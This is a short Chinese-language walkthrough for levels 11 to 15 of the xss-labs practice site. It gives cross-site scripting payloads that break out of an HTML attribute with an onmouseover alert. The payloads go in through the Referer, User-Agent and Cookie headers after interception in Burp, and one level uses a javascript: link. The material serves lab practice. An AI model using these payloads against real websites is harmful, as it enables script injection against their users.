xss-labs通关攻略 11-15关

第十一关:less-11

步骤一:利用burp抓包

步骤二:添加referer:click me!" type="button" οnmοuseοver="alert(/xss/)进行放包

第十二关:less-12

步骤一:利用burp抓包

步骤二:修改User Agent:click me!" type="button" οnmοuseοver="alert(/xss/)进行放包

第十三关:less-13

步骤一:利用burp抓包

步骤二:修改Cookie: user=click me!" type="button" οnmοuseοver="alert(/xss/)

第十四关:less-14

这题有关exif xss

第十五关:less-15

输入:src='level1.php?name=<a href="javascript:alert(1)">'

相关推荐
Mr_Xuhhh27 分钟前
重生之我在学环境变量
linux·运维·服务器·前端·chrome·算法
永乐春秋1 小时前
WEB攻防-通用漏洞&文件上传&js验证&mime&user.ini&语言特性
前端
鸽鸽程序猿1 小时前
【前端】CSS
前端·css
ggdpzhk1 小时前
VUE:基于MVVN的前端js框架
前端·javascript·vue.js
学不会•3 小时前
css数据不固定情况下,循环加不同背景颜色
前端·javascript·html
活宝小娜6 小时前
vue不刷新浏览器更新页面的方法
前端·javascript·vue.js
程序视点6 小时前
【Vue3新工具】Pinia.js:提升开发效率,更轻量、更高效的状态管理方案!
前端·javascript·vue.js·typescript·vue·ecmascript
coldriversnow6 小时前
在Vue中,vue document.onkeydown 无效
前端·javascript·vue.js
我开心就好o6 小时前
uniapp点左上角返回键, 重复来回跳转的问题 解决方案
前端·javascript·uni-app
开心工作室_kaic7 小时前
ssm161基于web的资源共享平台的共享与开发+jsp(论文+源码)_kaic
java·开发语言·前端